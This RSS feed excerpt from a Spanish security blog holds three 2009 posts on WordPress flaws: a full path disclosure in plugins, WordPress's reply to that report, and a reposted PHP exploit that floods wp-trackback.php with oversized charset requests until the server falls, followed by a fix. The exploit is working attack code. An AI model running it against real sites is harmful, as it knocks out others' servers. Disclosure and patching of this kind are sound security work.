			<wfw:commentRss>http://blog.zerial.org/seguridad/explotar-xss-mediante-sql-injection/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>FPD en WordPress no es considerado un error</title>
		<link>http://blog.zerial.org/seguridad/fpd-en-wordpress-no-es-considerado-un-error/</link>
		<comments>http://blog.zerial.org/seguridad/fpd-en-wordpress-no-es-considerado-un-error/#comments</comments>
		<pubDate>Sat, 14 Nov 2009 15:42:15 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Noticias]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[fpd]]></category>
		<category><![CDATA[full path disclosure]]></category>
		<category><![CDATA[vulnerabilidad]]></category>
		<category><![CDATA[wordpress]]></category>
		<category><![CDATA[wp]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=1100</guid>
		<description><![CDATA[Como recordarán, hace unos días publiqué dos artículos sobre una vulnerabilidad Full Path Disclosure en WordPress, que afectaba a los plugins y a los archivos propios del CMS. Luego de unas semanas de haberlo reportado recibí una respuesta: We consider path disclosures a server configuration error. WordPress files don&#8217;t protect against disclosing paths when directly [...]]]></description>
			<content:encoded><![CDATA[<p>Como recordarán, hace unos días publiqué dos artículos sobre una vulnerabilidad Full Path Disclosure en WordPress, que <a href="http://blog.zerial.org/seguridad/vulnerabilidad-en-la-mayoria-de-los-plugins-para-wordpress/" target="_blank">afectaba a los plugins</a> y a <a href="http://blog.zerial.org/seguridad/mas-full-path-disclosure-en-wordpress-y-sin-solucion/" target="_blank">los archivos propios del CMS</a>. Luego de unas semanas de haberlo reportado recibí una respuesta:</p>
<blockquote><p>We consider path disclosures a server configuration error.  WordPress<br />
files don&#8217;t protect against disclosing paths when directly loaded.</p></blockquote>
<p>En otras palabras, no es considerado un error o una vulnerabilidad ya que corresponde a un problema de configuración del servidor.<br />
Pueden leer <a href="http://seclists.org/fulldisclosure/2009/Sep/387" target="_blank">un hilo donde se discute</a> sobre el tema.</p>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Ffpd-en-wordpress-no-es-considerado-un-error%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/seguridad/fpd-en-wordpress-no-es-considerado-un-error/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/seguridad/fpd-en-wordpress-no-es-considerado-un-error/"  data-text="FPD en WordPress no es considerado un error" data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/fpd-en-wordpress-no-es-considerado-un-error/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Denial-of-Service (DoS) rápido y de una forma muy sencilla en WordPress</title>
		<link>http://blog.zerial.org/seguridad/denial-of-service-dos-rapido-y-de-una-forma-muy-sencilla-en-wordpress/</link>
		<comments>http://blog.zerial.org/seguridad/denial-of-service-dos-rapido-y-de-una-forma-muy-sencilla-en-wordpress/#comments</comments>
		<pubDate>Sun, 18 Oct 2009 13:50:59 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[dos]]></category>
		<category><![CDATA[pwnpress]]></category>
		<category><![CDATA[vulnerabilidad]]></category>
		<category><![CDATA[wordpress]]></category>
		<category><![CDATA[wp]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=1014</guid>
		<description><![CDATA[jcarlosn ha descubierto una vulnerabilidad en el fichero wp-trackbacks.php de wordpress, la cual nos permitiría hacer un tipo de denegación de servicio (DoS) con unas cuantas peticiones y sin necesidad de botnets o maquinas zombies. Como él mismo nos cuenta: Este error, es explotable desde cualquier conexión a internet, y no requiere de ordenadores zombies, [...]]]></description>
			<content:encoded><![CDATA[<p><img class="alignleft size-medium wp-image-949" style="margin: 4px;" title="pwnpress" src="http://blog.zerial.org/wp-content/uploads/2009/09/pwnpress-300x214.jpg" alt="pwnpress" width="126" height="90" /><a href="http://rooibo.wordpress.com/" target="_blank">jcarlosn</a> ha <a href="http://rooibo.wordpress.com/2009/10/17/agujero-de-seguridad-en-wordpress/" target="_blank">descubierto una vulnerabilidad en el fichero <strong>wp-trackbacks.php</strong> de wordpress</a>, la cual nos permitiría hacer un tipo de denegación de servicio (DoS) con unas cuantas peticiones y sin necesidad de botnets o maquinas zombies.<br />
Como él mismo nos cuenta:</p>
<blockquote><p>
Este error, es explotable desde cualquier conexión a internet, y no requiere de ordenadores zombies, ni de nada, son sólo 20 peticiones a lo sumo, desde una línea ADSL convencional, para dejar K.O. a cualquier servidor que hospede un blog basado en wordpress.</p></blockquote>
<p>El problema fue reportado a la seguridad en wordpress.com y no se obtuvo respuesta, luego se intentó comunicar con el creador de wordpress y al pasar un par de días, obtuvo una respuesta de que lo solucionarán en algún momento pero no de la forma que él proponia, sino que ellos mismos buscarán cómo hacerlo.<br />
La misma persona que hizo público este bug, publicó un exploit y una posible solución.</p>
<p><span id="more-1014"></span></p>
<p><strong>El exploit:</strong></p>
<div class="dean_ch" style="white-space: wrap;">
<ol>
<li class="li1">
<div class="de1"> &lt; ?php</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="co1">//wordpress Resource exhaustion Exploit</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="co1">//http://rooibo.wordpress.com/</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="co1">//security@wordpress.org contacted and get a response,</span></div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; <span class="co1">//but no solution available.</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="kw1">if</span><span class="br0">&#40;</span><a href="http://www.php.net/count"><span class="kw3">count</span></a><span class="br0">&#40;</span><span class="re0">$argv</span><span class="br0">&#41;</span> &lt; <span class="nu0">2</span><span class="br0">&#41;</span> <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <a href="http://www.php.net/echo"><span class="kw3">echo</span></a> “You need to specify a url to attack\n”;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <a href="http://www.php.net/exit"><span class="kw3">exit</span></a>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="br0">&#125;</span></div>
</li>
<li class="li2">
<div class="de2">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="re0">$url</span> = <span class="re0">$argv</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="re0">$data</span> = <a href="http://www.php.net/parse_url"><span class="kw3">parse_url</span></a><span class="br0">&#40;</span><span class="re0">$url</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="kw1">if</span><span class="br0">&#40;</span><a href="http://www.php.net/count"><span class="kw3">count</span></a><span class="br0">&#40;</span><span class="re0">$data</span><span class="br0">&#41;</span> &lt; <span class="nu0">2</span><span class="br0">&#41;</span> <span class="br0">&#123;</span></div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; <a href="http://www.php.net/echo"><span class="kw3">echo</span></a> “The url should have http:<span class="co1">// in front of it, and should be complete.\n”;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <a href="http://www.php.net/exit"><span class="kw3">exit</span></a>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="kw1">if</span><span class="br0">&#40;</span><a href="http://www.php.net/count"><span class="kw3">count</span></a><span class="br0">&#40;</span><span class="re0">$data</span><span class="br0">&#41;</span> == <span class="nu0">2</span><span class="br0">&#41;</span> <span class="br0">&#123;</span></div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; <span class="re0">$path</span> = ”;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="br0">&#125;</span> <span class="kw1">else</span> <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="re0">$path</span> = <span class="re0">$data</span><span class="br0">&#91;</span><span class="st0">&#8216;path&#8217;</span><span class="br0">&#93;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="re0">$path</span> = <a href="http://www.php.net/trim"><span class="kw3">trim</span></a><span class="br0">&#40;</span><span class="re0">$path</span>,’/<span class="st0">&#8216;);</span></div>
</li>
<li class="li2">
<div class="de2"><span class="st0"> &nbsp; &nbsp;$path .= ‘/wp-trackback.php’;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0"> &nbsp; &nbsp;if($path{0} != ‘/’) {</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0"> &nbsp; &nbsp;$path = ‘/’.$path;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0"> &nbsp; &nbsp;}</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li2">
<div class="de2"><span class="st0"> &nbsp; &nbsp;$b = “”;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0"> &nbsp; &nbsp;$b = str_pad($b,140000,’ABCEDFG’);</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0"> &nbsp; &nbsp;$b = utf8_encode($b);</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0"> &nbsp; &nbsp;$charset = “”;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0"> &nbsp; &nbsp;$charset = str_pad($charset,140000,”UTF-8,”);</span></div>
</li>
<li class="li2">
<div class="de2">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="st0"> &nbsp; &nbsp;$str = ‘charset=’.urlencode($charset);</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0"> &nbsp; &nbsp;$str .= ‘&amp;url=www.example.com’;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0"> &nbsp; &nbsp;$str .= ‘&amp;title=’.$b;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0"> &nbsp; &nbsp;$str .= ‘&amp;blog_name=lol’;</span></div>
</li>
<li class="li2">
<div class="de2"><span class="st0"> &nbsp; &nbsp;$str .= ‘&amp;excerpt=lol’;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="st0"> &nbsp; &nbsp;$count = 0;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0"> &nbsp; &nbsp;while(1) {</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0"> &nbsp; &nbsp;$fp = @fsockopen($data['</span>host<span class="st0">'],80);</span></div>
</li>
<li class="li2">
<div class="de2"><span class="st0"> &nbsp; &nbsp;if(!$fp) {</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0"> &nbsp; &nbsp;if($count &gt; 0) {</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0"> &nbsp; &nbsp;echo “down!!!!<span class="es0">\n</span>”;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0"> &nbsp; &nbsp;exit;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0"> &nbsp; &nbsp;}</span></div>
</li>
<li class="li2">
<div class="de2"><span class="st0"> &nbsp; &nbsp;echo “unable to connect to: “.$data['</span>host<span class="st0">'].”<span class="es0">\n</span>”;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0"> &nbsp; &nbsp;exit;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0"> &nbsp; &nbsp;}</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="st0"> &nbsp; &nbsp;fputs($fp, “POST $path HTTP/1.1<span class="es0">\r</span><span class="es0">\n</span>”);</span></div>
</li>
<li class="li2">
<div class="de2"><span class="st0"> &nbsp; &nbsp;fputs($fp, “Host: “.$data['</span>host<span class="st0">'].”<span class="es0">\r</span><span class="es0">\n</span>”);</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0"> &nbsp; &nbsp;fputs($fp, “Content-type: application/x-www-form-urlencoded<span class="es0">\r</span><span class="es0">\n</span>”);</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0"> &nbsp; &nbsp;fputs($fp, “Content-length: “.strlen($str).”<span class="es0">\r</span><span class="es0">\n</span>”);</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0"> &nbsp; &nbsp;fputs($fp, “Connection: close<span class="es0">\r</span><span class="es0">\n</span><span class="es0">\r</span><span class="es0">\n</span>”);</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0"> &nbsp; &nbsp;fputs($fp, $str.”<span class="es0">\r</span><span class="es0">\n</span><span class="es0">\r</span><span class="es0">\n</span>”);</span></div>
</li>
<li class="li2">
<div class="de2">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="st0"> &nbsp; &nbsp;echo “hit!<span class="es0">\n</span>”;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0"> &nbsp; &nbsp;$count++;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0"> &nbsp; &nbsp;}</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li2">
<div class="de2"><span class="st0"> &nbsp; &nbsp;?&gt;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0"</span></div>
</li>
</ol>
</div>
<p><strong>La solución:</strong></p>
<p>Cambiar</p>
<div class="dean_ch" style="white-space: wrap;">
<ol>
<li class="li1">
<div class="de1"><span class="re0">$charset</span> = <span class="re0">$_POST</span><span class="br0">&#91;</span><span class="st0">&#8216;charset&#8217;</span><span class="br0">&#93;</span>;</div>
</li>
</ol>
</div>
<p>Por</p>
<div class="dean_ch" style="white-space: wrap;">
<ol>
<li class="li1">
<div class="de1"><span class="re0">$charset</span> = <a href="http://www.php.net/str_replace"><span class="kw3">str_replace</span></a><span class="br0">&#40;</span>”,”,”<span class="st0">&quot;,$_POST['charset']);</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0">if(is_array($charset)) { exit; }</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0"</span></div>
</li>
</ol>
</div>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fdenial-of-service-dos-rapido-y-de-una-forma-muy-sencilla-en-wordpress%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/seguridad/denial-of-service-dos-rapido-y-de-una-forma-muy-sencilla-en-wordpress/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/seguridad/denial-of-service-dos-rapido-y-de-una-forma-muy-sencilla-en-wordpress/"  data-text="Denial-of-Service (DoS) rápido y de una forma muy sencilla en WordPress" data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/denial-of-service-dos-rapido-y-de-una-forma-muy-sencilla-en-wordpress/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Vulnerabilidad en la mayoría de los plugins para WordPress</title>
		<link>http://blog.zerial.org/seguridad/vulnerabilidad-en-la-mayoria-de-los-plugins-para-wordpress/</link>
		<comments>http://blog.zerial.org/seguridad/vulnerabilidad-en-la-mayoria-de-los-plugins-para-wordpress/#comments</comments>
		<pubDate>Mon, 28 Sep 2009 12:34:23 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[fpd]]></category>
		<category><![CDATA[full path disclosure]]></category>
		<category><![CDATA[vulnerabilidad]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=948</guid>
		<description><![CDATA[Hace un par de días, mientras hacia unas pruebas y revisaba unos sistemas descubrí una vulnerabilidad que afectaba a unos cuantos plugins de WordPress instalados. Continuando mi investigación llegúe a la conclusión de que se trata de una vulnerabilidad Full Path Disclosure (FPD) que afecta a la mayoría de los plugins de WordPress, incluyendo al [...]]]></description>
			<content:encoded><![CDATA[<p><img class="alignleft size-medium wp-image-949" style="margin: 4px;" title="pwnpress" src="http://blog.zerial.org/wp-content/uploads/2009/09/pwnpress-300x214.jpg" alt="pwnpress" width="300" height="214" />Hace un par de días, mientras hacia unas pruebas y revisaba unos sistemas descubrí una vulnerabilidad que afectaba a unos cuantos plugins de WordPress instalados.<br />
Continuando mi investigación llegúe a la conclusión de que se trata de una vulnerabilidad <a href="http://blog.zerial.org/seguridad/la-vulnerabilidad-full-path-disclosure/" target="_blank">Full Path Disclosure (FPD)</a> que afecta a la mayoría de los plugins de <a href="http://wordpress.com" target="_blank">WordPress</a>, incluyendo al &#8220;Hello Dolly&#8221; y Akismet (plugins por defecto). Para explotar esta vulnerabilidad, no es necesario que el plugin esté activo, simplemente que esté instalado. Esta vulnerabilidad es debido a un problema o error a la hora de programar los plugins, al no validar la existencia de funciones antes de ejecutarlas el sistema devuelve un error fatal, mostrandonos la ruta completa de la instalación del CMS. Por ejemplo, en Akismet:</p>
<blockquote><p><strong>Fatal error</strong>:  Call to undefined function add_action() in <strong>/home/XXYYZZ/public_html/wp-content/plugins/akismet/akismet.php</strong> on line <strong>26</strong></p></blockquote>
<p>Hablando un poco sobre la vulnerabildiad FPD y recordando lo que dije en el post pasado, explotar esta vulnerabilidad no significa que podamos hacer grandes cosas, simplemente nos entregará información que podría ser utilizada para lo que uno estime conveniente.</p>
<p><span id="more-948"></span></p>
<p>Analizando más profundamente el código y el error, podemos encontrar (siguiendo con Akismet) las siguientes líneas:</p>
<div class="dean_ch" style="white-space: wrap;">
<ol>
<li class="li1">
<div class="de1">&lt; ?php</div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">function</span> akismet_init<span class="br0">&#40;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/global"><span class="kw3">global</span></a> <span class="re0">$wpcom_api_key</span>, <span class="re0">$akismet_api_host</span>, <span class="re0">$akismet_api_port</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span> <span class="re0">$wpcom_api_key</span> <span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$akismet_api_host</span> = <span class="re0">$wpcom_api_key</span> . <span class="st0">&#8216;.rest.akismet.com&#8217;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">else</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$akismet_api_host</span> = get_option<span class="br0">&#40;</span><span class="st0">&#8216;wordpress_api_key&#8217;</span><span class="br0">&#41;</span> . <span class="st0">&#8216;.rest.akismet.com&#8217;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$akismet_api_port</span> = <span class="nu0">80</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; add_action<span class="br0">&#40;</span><span class="st0">&#8216;admin_menu&#8217;</span>, <span class="st0">&#8216;akismet_config_page&#8217;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; add_action<span class="br0">&#40;</span><span class="st0">&#8216;admin_menu&#8217;</span>, <span class="st0">&#8216;akismet_stats_page&#8217;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; akismet_admin_warnings<span class="br0">&#40;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#125;</span></div>
</li>
<li class="li2">
<div class="de2">add_action<span class="br0">&#40;</span><span class="st0">&#8216;init&#8217;</span>, <span class="st0">&#8216;akismet_init&#8217;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">function</span> akismet_admin_init<span class="br0">&#40;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span> <a href="http://www.php.net/function_exists"><span class="kw3">function_exists</span></a><span class="br0">&#40;</span> <span class="st0">&#8216;get_plugin_page_hook&#8217;</span> <span class="br0">&#41;</span> <span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$hook</span> = get_plugin_page_hook<span class="br0">&#40;</span> <span class="st0">&#8216;akismet-stats-display&#8217;</span>, <span class="st0">&#8216;index.php&#8217;</span> <span class="br0">&#41;</span>;</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">else</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$hook</span> = <span class="st0">&#8216;dashboard_page_akismet-stats-display&#8217;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; add_action<span class="br0">&#40;</span><span class="st0">&#8216;admin_head-&#8217;</span>.<span class="re0">$hook</span>, <span class="st0">&#8216;akismet_stats_script&#8217;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">add_action<span class="br0">&#40;</span><span class="st0">&#8216;admin_init&#8217;</span>, <span class="st0">&#8216;akismet_admin_init&#8217;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li2">
<div class="de2"><span class="kw2">?&gt;</span></div>
</li>
</ol>
</div>
<p>Sólo en esas líneas se hace unas cuantas veces la llamada a la función &#8220;add_action()&#8221; que no es validada antes de ser ejecutada, sin embargo, otras funciones si lo están (por ej. mirar línea 18). Lo mismo sucede en <em>hello.php</em> y en muchos otros plugins muy usados.</p>
<p>Para detectar esta vulnerabilidad los plugins que tenemos instalados podemos ejecutar el siguiente comando dentro del directorio wp-content/plugins:</p>
<p><code>find . -name "*.php" -exec grep -H add_action {} \;</code></p>
<p>Y obtendremos un resultado como el siguiente:</p>
<blockquote><p>./wp-gravatar/gravatars.php:add_action(&#8216;admin_menu&#8217;, &#8216;gravatar_admin_menu&#8217;);<br />
./wp-gravatar/gravatars.php:add_action(&#8216;plugins_loaded&#8217;, &#8216;widget_authdescription_init&#8217;);<br />
./wp-gravatar/gravatars.php:add_action(&#8216;plugins_loaded&#8217;, &#8216;widget_recent_comments_gravatars_register&#8217;, 1);<br />
./smart-youtube/smartyoutube.php:add_action(&#8216;admin_menu&#8217;, &#8216;yte_add_pages&#8217;);<br />
./smart-youtube/smartyoutube.php:add_action( &#8216;plugins_loaded&#8217;, &#8216;yte_install&#8217; );<br />
./smart-youtube/smartyoutube.php:add_action( &#8216;after_plugin_row&#8217;, &#8216;yte_check_plugin_version&#8217; );<br />
./chili-code-highlighter/chili-code-highlighter.php:add_action( &#8216;plugins_loaded&#8217;, create_function( &#8221;, &#8216;global $ChiliCodeHighlighter; $ChiliCodeHighlighter = new ChiliCodeHighlighter();&#8217; ) );<br />
./wp-db-backup/wp-db-backup.php:add_action(&#8216;plugins_loaded&#8217;, &#8216;wpdbBackup_init&#8217;);<br />
./subscribe2/counterwidget.php:add_action(&#8216;plugins_loaded&#8217;, &#8216;widget_s2counter_init&#8217;);<br />
./add-to-any/add-to-any.php:add_action(&#8216;init&#8217;, &#8216;A2A_SHARE_SAVE_textdomain&#8217;);<br />
./add-to-any/add-to-any.php:add_action(&#8216;the_content&#8217;, &#8216;A2A_SHARE_SAVE_to_bottom_of_content&#8217;, 98);<br />
./add-to-any/add-to-any.php:add_action(&#8216;wp_head&#8217;, &#8216;A2A_SHARE_SAVE_button_css&#8217;);<br />
./add-to-any/add-to-any.php:add_action(&#8216;admin_head&#8217;, &#8216;A2A_SHARE_SAVE_admin_head&#8217;);<br />
./add-to-any/add-to-any.php:add_action(&#8216;admin_menu&#8217;, &#8216;A2A_SHARE_SAVE_add_menu_link&#8217;);<br />
./creative-commons-license-widget/ccLicense.php:add_action(&#8216;widgets_init&#8217;, &#8216;widget_ccLicense_init&#8217;);<br />
./wordpress-23-related-posts-plugin/wp_related_posts.php:add_action(&#8216;init&#8217;, &#8216;init_textdomain&#8217;);<br />
./wordpress-23-related-posts-plugin/wp_related_posts.php:add_action(&#8216;admin_menu&#8217;, &#8216;wp_add_related_posts_options_page&#8217;);<br />
./twitter-updater-using-tinyurl/twitter_updater.php:add_action ( &#8216;save_post&#8217;, &#8216;vc_twit&#8217;);<br />
./twitter-updater-using-tinyurl/twitter_updater.php:add_action(&#8216;admin_menu&#8217;, &#8216;vc_addTwitterAdminPages&#8217;);<br />
./simplepie-core/simplepie_core.php:add_action(&#8216;admin_menu&#8217;, &#8216;simplepie_core_options&#8217;);<br />
./all-in-one-seo-pack/all_in_one_seo_pack.php:add_action(&#8216;edit_post&#8217;, array($aiosp, &#8216;post_meta_tags&#8217;));<br />
./all-in-one-seo-pack/all_in_one_seo_pack.php:add_action(&#8216;publish_post&#8217;, array($aiosp, &#8216;post_meta_tags&#8217;));<br />
./all-in-one-seo-pack/all_in_one_seo_pack.php:add_action(&#8216;save_post&#8217;, array($aiosp, &#8216;post_meta_tags&#8217;));<br />
./all-in-one-seo-pack/all_in_one_seo_pack.php:add_action(&#8216;edit_page_form&#8217;, array($aiosp, &#8216;post_meta_tags&#8217;));<br />
./all-in-one-seo-pack/all_in_one_seo_pack.php:add_action(&#8216;init&#8217;, array($aiosp, &#8216;init&#8217;));<br />
./all-in-one-seo-pack/all_in_one_seo_pack.php:add_action(&#8216;wp_head&#8217;, array($aiosp, &#8216;wp_head&#8217;));<br />
./all-in-one-seo-pack/all_in_one_seo_pack.php:add_action(&#8216;template_redirect&#8217;, array($aiosp, &#8216;template_redirect&#8217;));<br />
./all-in-one-seo-pack/all_in_one_seo_pack.php:add_action(&#8216;admin_menu&#8217;, array($aiosp, &#8216;admin_menu&#8217;));<br />
./all-in-one-seo-pack/all_in_one_seo_pack.php:add_action(&#8216;admin_menu&#8217;, &#8216;aiosp_meta_box_add&#8217;);<br />
./all-in-one-seo-pack/all_in_one_seo_pack.php:add_action( &#8216;admin_notices&#8217;, &#8216;aioseop_activation_notice&#8217;);<br />
./google-analyticator/google-analyticator.php:add_action(&#8216;admin_init&#8217;, &#8216;ga_admin_init&#8217;);<br />
./google-analyticator/google-analyticator.php:add_action(&#8216;admin_menu&#8217;, &#8216;add_ga_option_page&#8217;);<br />
./google-analyticator/google-analyticator.php:add_action(&#8216;init&#8217;, &#8216;ga_outgoing_links&#8217;);<br />
./google-analyticator/google-analyticator.php:add_action(&#8216;plugin_action_links_&#8217; . plugin_basename(__FILE__), &#8216;ga_filter_plugin_actions&#8217;);<br />
./google-analyticator/google-analyticator.php:add_action(&#8216;wp_ajax_ga_ajax_accounts&#8217;, &#8216;ga_ajax_accounts&#8217;);<br />
./google-analyticator/google-analytics-stats-widget.php:add_action(&#8216;widgets_init&#8217;, &#8216;GoogleStatsWidget_init&#8217;);<br />
./akismet/akismet.php:add_action(&#8216;init&#8217;, &#8216;akismet_init&#8217;);<br />
./akismet/akismet.php:add_action(&#8216;admin_init&#8217;, &#8216;akismet_admin_init&#8217;);<br />
